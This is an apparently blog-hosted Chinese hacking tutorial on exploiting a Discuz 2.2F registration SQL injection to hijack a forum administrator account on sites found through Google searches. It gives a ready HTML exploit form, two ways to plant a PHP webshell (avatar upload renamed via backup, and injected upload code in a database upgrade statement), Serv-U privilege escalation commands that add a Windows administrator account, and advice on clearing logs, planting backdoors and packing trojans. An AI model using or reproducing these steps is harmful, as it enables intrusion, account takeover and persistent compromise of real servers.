DISCUZ漏洞與提升權限

DISCUZ漏洞與提升權限

這個漏洞是孟兄發現的,我在這裏感謝他!也感謝ANGEL的分析!
DISCUZ 2.2F的這個漏洞在register.php 的代碼中:有如下代碼:

$email = trim($email);
if(!$doublee && strstr($email, '@')) {
  $emailadd = "OR email='$email'";
}
 

  這裏是說如果不存在 $doublee 這個變量,並且判斷郵件地址格式正確,就

指定 $emailadd 這個變量爲 "OR email='$email'" ,爲後面的 SQL 語句做準備

。往下有一段代碼如下:

$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE

username='$username' $emailadd ");
if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}
 

  默認 $emailadd = "OR email='$email'" 是滿足的,所以上面的 SQL 語句

就變成判斷用戶名和郵箱,有任意一個相同,就提示“該用戶名或 Email 地址已

經被註冊了,請返回重新填寫。”

  利用的方法是給 $doublee 賦值,然後就可以饒過 $emailadd = "OR

email='$email'" 這句,然後再自己構造 $emailadd 這個變量,這個就是我在本

地表單的 action 構造的原因。

<FORM action="http://172.16.0.125/register.php? emailadd=and

uid=100000&doublee=1" method="post">
 

  然後這個語句到了上面的 SQL 語句那裏,就變成:

SELECT COUNT(*) FROM $table_members WHERE username='$username' and

uid=100000
 

  既然是同時用用戶名和用戶 ID 判斷,那麼這個肯定是不成立的了,就可以

順利跳過

if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}
 

  直接到達這裏插入記錄:

$db->query("INSERT INTO $table_members (........) VALUES (........)");
 

  也就註冊了相同的用戶名。然後再看看 memcp.php ,看到更新用戶資料的那

裏, SQL 語句居然是這樣。

UPDATE $table_members SET ...... WHERE username='$discuz_user'
 

  直接修改你註冊的和管理員一樣的ID 的密碼,就達到了修改管理員的密碼的

目的。 好了讓我們看看最激動人心的時刻--

                           具體利用方法
1,在GOOGLE找BY DISCUZ 2.2F,找到後進去,點擊會員,找到管理員的ID,將他的ID

添寫到UP1.PHP,(UP1.PHP是本地寫的:
<FORM action="http://ip/register.php?emailadd=and uid=100000&doublee=1"

method="post" target="_blank">
用戶名 :<INPUT name=username value="管理員的ID"><br>
密碼:<INPUT name=password type=text value="123456"><br>
確認密碼:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="[email protected]"><br>
<INPUT type=submit value= 註冊 name=regsubmit>
</FORM>
)的"管理員的ID"處,將網站的地址寫到ACTION後面的IP處,保存,然後點擊瀏覽,就

回跳出你個提示頁面,如果是"提示信息

該用戶名或 Email 地址已經被註冊了,請返回重新填寫。

[ 點擊這裏返回上一頁 ]
 
 "就表示不成功,管理員修改了漏洞,如果是"提示信息

非常感謝您的註冊,現在將以會員身份登錄論壇。

如果您的瀏覽器沒有自動跳轉,請點擊這裏
 
"就表示註冊和管理員同樣的ID成功,呵呵,我們來到"控制面板 "處進去,點"編輯

個人資料"項,修改密碼,然後重新登陸你就是管理員了,接下來就是提升權限,我們

登陸到後臺管理的地方http://xxxxxxxxx/discuz/admincp.php把你的密碼添上,

確定就進去了,節下了兩中方法傳個PHP的WEBSHELL上去,一,在上傳頭像處將你的

改成GIF擴展名的WEBSEHLL傳上去,然後到後臺管理,點數據管理->數據備份,將GIF

格式的WEBSHELL恢復爲.PHP格式,這樣一個WEBSHELL就有了在/forumdata/木馬名

字.PHP,我上傳的是ANGEL的PHPSPY.PHP不錯,功能多,速度也快,接下來的提升權限

我想菜鳥們都會把,在命令行下打NET START發現開了SERV-U 趕快上傳一個SERV-U

本地提升EXP工具到當前目錄,添加管理員 :serv-u "net user cookie 123 /add"
serv-u "net localgroup administrators cookie /add" 同時我入侵的這個服務

器開了3389,走運1!!趕快登陸3389登陸工具,可愛的桌面出來了,然後就是清掃日

志,放木馬,開後門,我覺的那個PHPSPY就是一個好的後門木馬,大家也可以自己用

別的好的木馬或者後門,上傳前記着加殼(保險嗎:)
   二種提升方法就是利用數據管理的數據庫升級和數據備份功能,首先點數據庫

升級項,在"請將數據庫升級語句粘貼在下面:"下面的文本編輯處寫上:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`,

`note`, `logo`)
VALUES ('', '0', '', '',

'<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', '');
然後點升級數據庫,提示'
Discuz! 數據結構成功升級。
接下來在數據備份處將forumdata/dz_1111_Vqnys.sql 改成.PHP的擴展名,這樣這

個數據庫文件就是我們的一個上傳SHELL了,高興呀!然後本地寫個提交頁:UP1.PHP
<form ENCTYPE="multipart/form-data" ACTION="http://ip/forumdata/你的木

馬.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
然後提交你的木馬就成功了,提升權限同上>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章